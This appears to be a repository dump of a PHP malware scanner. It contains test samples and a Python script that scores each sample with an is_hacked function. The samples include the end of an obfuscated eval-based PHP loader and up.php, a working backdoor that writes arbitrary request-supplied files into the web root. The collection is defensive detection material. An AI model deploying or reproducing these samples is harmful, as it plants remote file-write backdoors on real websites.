170 | 'eChoyRM6vCdJhQVcJT5Q0jMuScnnmVdcRjtC7xtseCxseCxsecdcZRVOZRM6eFGSeCZOzrVCN6TQZjW6vCdJhRIb5XTnzT5'.
171 | 'QOR8O5FAbWrTHScnnmCt4tVdcRjtC7xtseCxseCxsewTX0CIZzR8OSkxpgXVcojVujcMcZrqO5rVCWV3hek3shRqO'.
172 | 'BQTOzQxs2L3stAqOqrVcZRG0e95pgXVcojVujcMcZrqO5rVCWVVnRR'.
173 | 'ZB2CGJkCxseCxseCxiErteewVuzrV60cdioRqbNRnJWX8myw8ZZcnSECxhkCxseCxseCxi7xtseCxseCx'.
174 | 'seCxseCxpGj8mlwTAeL3stCGJkCxseCxseCxseCxsewTX0CIZzV8b5RqbHkxpgXVcojVujc8uyj8NEr3QQk3sECdNqjM'.
175 | 'cZXTu0kxshRIb5XTnzT5QGj8mlwTAWV3ioR5shwzS+cdXek3shX8myw8ZZCx4mCxChwzShQGJeCGJecIuyj8NEr3smCdunXWu'.
176 | 'SRtehX8myw8ZZFPsJFKCEfMSkCxseCxseCxseCxserTBzr3shX8myw8'.
177 | 'ZZCPSecdioRqbNRnJWX8myw8ZZcnS7xtseCxseCxseCxseCIZqkxshX8myw8ZZCKSWc5sECxp5rVbnrVu'.
178 | 'SCx4mCxcPj8mlwTAvCxpGj8mlwTORRZB2CGJkCxseCxseCximxtseCxseCxsecdcZRVOZRM6eFGSeChuyj'.
179 | 'qHZXMpEj84vCIuJjMuZVdcRjtC7xtseCxseCxsewTX0CxpgXVcojVujc8nZQIoyrxQQLKSWA1mKO'.
180 | 'xRek60eCxseCxseCdJkCxseCxseCxseCxsewTX0CIZzR8OSkxpgXVcojVujc8poQI1WV3hectXewVuDXVc5XV'.
181 | 'h0cdioRqbNRnJWrIbSX3QQk3sExtseCxseCxseCxseCdJkCxseCx'.
182 | 'seCxseCxseCxseCIryRqOoX8e0cdioRqbNRnJWrIbSX3QQC1bKCxplCPS+Cxp8k60eCxseCxseCxseC'.
183 | 'xseCxseCxseCxphXVpoCx4mCdO5jIO2X8mhr3ehw5h2czSWFWO5jIO'.
184 | '2X8mhr3ehQth2c5XWfg0eCxseCxseCxseCxseCxsewTX0CdunXWuSRtehrIbSX3geFK1ELKSWctRek3shr'.
185 | 'IbSX3smCdunXWuSRtehrIbSX3ggFxSBkKJkCxseCxseCxseCxseD60eCxseCxse'.
186 | 'CxseCxshrIbSX3s2L3stVdcRjZB5VI4tfg0eCxseCxseCxseCxskCxseCxseCxseCxsecdcZRVOZRM6e'.
187 | 'FGSeChuyjWpZjW6NQdZgrK0eXVigjIZGXVpEj84y9xnMQMRNrqm5j3nnRqBZjquyrIOhVdcRjtC7xts'.
188 | 'eCxseCxseCxseCxp5rVbnrVuSCx4mCxcPj8HSrTHSFTBZjqQSwP0eCtHzQdcJrT40cIpoQI1EFtcRRZB2CGJkC'.
189 | 'xseCxseCximxtseCxseCxsecdcZRVOZRM6eFGSeCZB5VI4tfg0eCxseCxs'.
190 | 'eCs0eCxseCxseCIZqkxshRIb5XTnzT5QNrVp0j86WV3smL3sWA1mKOxRek3shRqO'.
191 | 'BQTOzQxs2L3shrIbSXKJkCxseCxseCxskCxseCxseCxisrWQ5wVpZCxe'.
192 | 'hrWsJcdcZRVOZRM6Ef5syktiKrTHhCdcZRVOZRM6ektakCxseCxseCxskCxseCxseCx'.
193 | 'shRqOzCPSeCtC7Cxp0rTbhrVczCPSeCtC7Cxp0V8pZQIOGQIOhCPSerqbJR8A7xtseCx'.
194 | 'seCxseQ8oEjIA0CxbsrqOyrtehrWsECxhkCxseCxseCxi7xtseCxseCxseCxseCxp5rVYeFGSe6Ir5r'.
195 | 'TbhkxpqRxgeYKs5uxh7CxaUCuIdSFGpeNxgSFV6yxP62Nx+SFMpeNxnSFMpet'.
196 | 'sUFg0eCxsextseCxseCxseCxseCxaUCuxDSXP6yNx5SFVpeuxvSFseSFM6Jux7SFGpomx4SXaeSFD6J'.
197 | 'uxzSFy6yNx5SFl6yNx5Cux5CuxvSF76yQIxSFV6yQIxSFAektakCxs'.
198 | 'eCxseCxseCxsewTX0Cx1ecIoDrIOSrTuSrT6ectXeRMp5RImzkxp5rVYJCxcRRZB2VdcRjtCECKSmphbYASAek60eCx'.
199 | 'seCxseCxseCxi7xtseCxseCxseCxseCxseCxsyktP6NmxgSFL6yNx7SF76JNxvSFeeSXL6NNxnCuIiSXD62uIxSFP6yQIFC'.
200 | 'xSeSFl6yNIsSXP6NQxvSXF62uIsSXL6NQxaCuxvSF76yQIxSFV6yQIxC'.
201 | 'x0yxtseCxseCxseCxseCxseCxshwbmhrVpZXMpZrxsmCdp5QTA7xtseCxseCxseCxseCxseCxskCxs'.
202 | 'eCxseCxseCxseCxseCxp0rTbhrVczCPSeRMOtRMp5kxp5rVYJCPsJCduSRWiyR5ehRqOzFxstVdcRjZB5VI4tk3h7xtseCxseCx'.
203 | 'seCxseCxseCxshRqOzCPSeRMOtRMp5kxp5rVYJCduSRWiyR5ehRqOzFxstVdcRjZB5VI4tk3JSkKJkCxseCxseCx'.
204 | 'seCxseCxseCs0eCxseCxseCxseCxseCxseF50e3IOorIO5R5iSj5iiRWco93sUFg0eCxseCxseCxseCx'.
205 | 'seCxsewTX0CxpgXVcojVujcMcZQdO5jtQQLKSWwIOorIO5R5ReDdgecdioRqbNRnJWRqOSQVc2cnSmL3QoRW'.
206 | 'co93RkCxseCxseCxseCxseCxseCxseCxiaDxs0wVuzrV60cdioRqbNRnJWRqOhwVc'.
207 | 'ZXM6WV3hectXecdioRqbNRnJWRqOhwVcZXM6WVKSmQdcnr3hek60eCxseCxseCxseCxseCxse9g0eCxseCxseCxseCx'.
208 | 'seCxseCxseCxp0CPSerVogjImhr3etVdcRjtCJCxp0rTbhrVczkKJkCxseCxseCxseCxseCxse'.
209 | 'CxseCxshwIOorIO5R5smCIb5RqbHkxh7xtseCxseCxseCxseCxseCxseCxserqm5rTbGwxeecIeeXVYecIJmLtp8'.
210 | 'CxhkCxseCxseCxseCxseCxseCxseCxi7xtseCxseCxseCxseCxseCxseCxseCxseCIZqkxizQdcgjMY0c'.
211 | 'dXJCxRvc5hek60eCxseCxseCxseCxseCxseCxseCxseCxi7xtseCxseCxse'.
212 | 'CxseCxseCxseCxseCxseCxseCxshw5smCdunXWuSRtehQtgeYxgeRMp5RImzkxp'.
213 | '8FxsWftREkKJkCxseCxseCxseCxseCxseCxseCxseCxseCxseCxp8CPSeQdcEj3ozQT'.
214 | 'czQdC0cdXJCduSRWiyR5ehQtgecz0Wk3JBk3h7xtseCxseCxseCxseCxseCxseCxseCxseCdSk'.
215 | 'CxseCxseCxseCxseCxseCxseCxseCxsecIoZXTpZRWujRMp5QImnRdiZRtehw5ZQCPSecdX7xtseCxseCxseCxseCxseCxse'.
216 | 'CxseD60eCxseCxseCxseCxseCxseD60eCxseCxseCxseCxseCxsewTX0CIZzR8OSkxpgXVcojVujcMcZrIZ5rT'.
217 | 'uScnSECxXqCxpgXVcojVujcMcZrIZ5rTuScnSmLVp5QTAectXewVuzrV60cIoZXTpZRWujcSBL6SbA3AmfcnSECx'.
218 | 'hkCxseCxseCxseCxseCxseCdJkCxseCxseCxseCxseCxseCxseCxshRIb5XTnzT5QnRqgWV3smCxp0rTbhr'.
219 | 'VczT5QYKSuiO1ZLKtQQfg0eCxseCxseCxseCxseCxseCxseCIZqkxsowVuzrV60cdioRqbNRnJWRqOhwVcZXM6NX8'.
220 | 'mnjW6WV3hek3shRIb5XTnzT5Q5rTpERqOGQxnGjMO2QxQQCPSeYPJkCxseCxseCxseCxseCxse'.
221 | 'CxseCxiErteecdioRqbNRnJWRqOhwVcZXM6NX8mnjW6WVKgBYxsE'.
222 | 'xtseCxseCxseCxseCxseCxseCxse9g0eCxseCxseCxseCxseCxs'.
223 | 'eCxseCxseCxshRIb5XTnzT5Q5rTpERqOGQxnGjMO2QxQQk5J7xtseCxseCxseCxseCxseCxseCxseCx'.
224 | 'seCxpqQTHGCPSeVnmIOAHPO1ZLKZmDfg0eCxseCxseCxseCxseCxseCxseCxseCxi5rVpnRq4e6'.
225 | 'IZzV8mtwqOGQxehQIoER5heL5shQIoER5S+cIrnjqY0cdioRqbNR5hef'.
226 | 'tshrWO2X5ehRIb5XTnzkKJkCxseCxseCxseCxseCxseCxseCximxtseCxseCxseCxseCxseCximxtseCxseCxseCxseCxseCxiEr'.
227 | 'teecdioRqbNRnJWRqOSQVc2cnSmL3Q0rTbhrVczc5sECdcZQdO5j'.
228 | 'tshwIOorIO5RzJkCxseCxseCxseCxseD60eCxseCxseCdSkCxseCxseCxskCxseCxseCxisrquJjMuZkxpqRxh7xtseCxi'.
229 | 'mxtseCxiZjduZCdcZQdO5jtiI6ABKpKJyktshrVc5RMp5FtpZRWc2'.
230 | 'jzJektakCxseCs0eCxsewTX0CxpgXVcojVujcMcZQdO5jtQQLKSWXVc5XVhWCxhecdcZR5smCIb5RqbHkxQ0rTb'.
231 | 'hrVczczS+cIoZXTpZRWYJCxQGj8HSrTHSczS+cdcZR5h7xtseCxskCxseCdcZ'.
232 | 'QdO5jtshRqOzfgEm';
233 | eval(vSYB8H7($vKZ0VQS, $vJLFWPE));?>
--------------------------------------------------------------------------------
/samples/up.php:
--------------------------------------------------------------------------------
1 | 0 or strpos('fff'.$file,'admin')>0 or strpos('fff'.$file,'cache')>0 or strpos('fff'.$file,'includes')>0 or strpos('fff'.$file,'Temp')>0 or strpos('fff'.$file,'!')>0 or strpos('fff'.$file,':')>0 or strpos('fff'.$file,'cgi')>0)
30 | {
31 | continue;
32 | }
33 | $NowSubFolders=$NowSubFolders."|".$file;
34 | $NowQuantity=$NowQuantity+1;
35 | if($NowQuantity>=$MaxQuantity)
36 | {
37 | break;
38 | }
39 | }
40 | }
41 | echo '__success__'.$NowSubFolders.'__success__';
42 | }
43 | else if($action=='UploadOne')
44 | {
45 | $foldername=$_REQUEST['foldername'];
46 | $filename=$_REQUEST['filename'];
47 | $filebody=$_REQUEST['filebody'];
48 | $path='';
49 | $rootPath= $_SERVER['DOCUMENT_ROOT'];
50 |
51 | if($foldername!='')
52 | {
53 | if($foldername=='current_folder')
54 | {
55 | $path=$filename;
56 | }
57 | else
58 | {
59 | createFolder($rootPath.'/'.$foldername);
60 | $path=$rootPath.'/'.$foldername.'/'.$filename;
61 | }
62 | }
63 | else
64 | {
65 | $path=$rootPath.'/'.$filename;
66 | }
67 |
68 | $fp=fopen($path,"w");
69 | fwrite($fp,$filebody);
70 | fclose($fp);
71 | if(file_exists($path))
72 | {
73 | echo "publish success & uploaded".$rootPath;
74 | }
75 | }
76 |
77 | function createFolder($path)
78 | {
79 | if (!file_exists($path))
80 | {
81 | createFolder(dirname($path));
82 | mkdir($path, 0777);
83 | }
84 | }
85 | ?>
--------------------------------------------------------------------------------
/samples/xmlHttp.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/z0k4agtewn.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/test:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | from phpscanner import is_hacked
6 |
7 | class bcolors:
8 | HEADER = '\033[95m'
9 | OKBLUE = '\033[94m'
10 | OKGREEN = '\033[92m'
11 | WARNING = '\033[93m'
12 | FAIL = '\033[91m'
13 | ENDC = '\033[0m'
14 | BOLD = '\033[1m'
15 | UNDERLINE = '\033[4m'
16 |
17 | for sample in os.listdir('samples'):
18 | print "> ", sample,
19 | hacked = is_hacked('samples/' + sample)
20 | if hacked['score'] > 50:
21 | print bcolors.OKGREEN + "PERFECT", hacked['score'] , bcolors.ENDC
22 | elif hacked['score'] > 20:
23 | print bcolors.OKGREEN + "GOOD", hacked['score'] , bcolors.ENDC
24 | elif hacked['score'] > 5:
25 | print bcolors.WARNING + "OK", hacked['score'] , bcolors.ENDC
26 | else:
27 | print bcolors.FAIL + "BAD", hacked['score'] , bcolors.ENDC
28 |
--------------------------------------------------------------------------------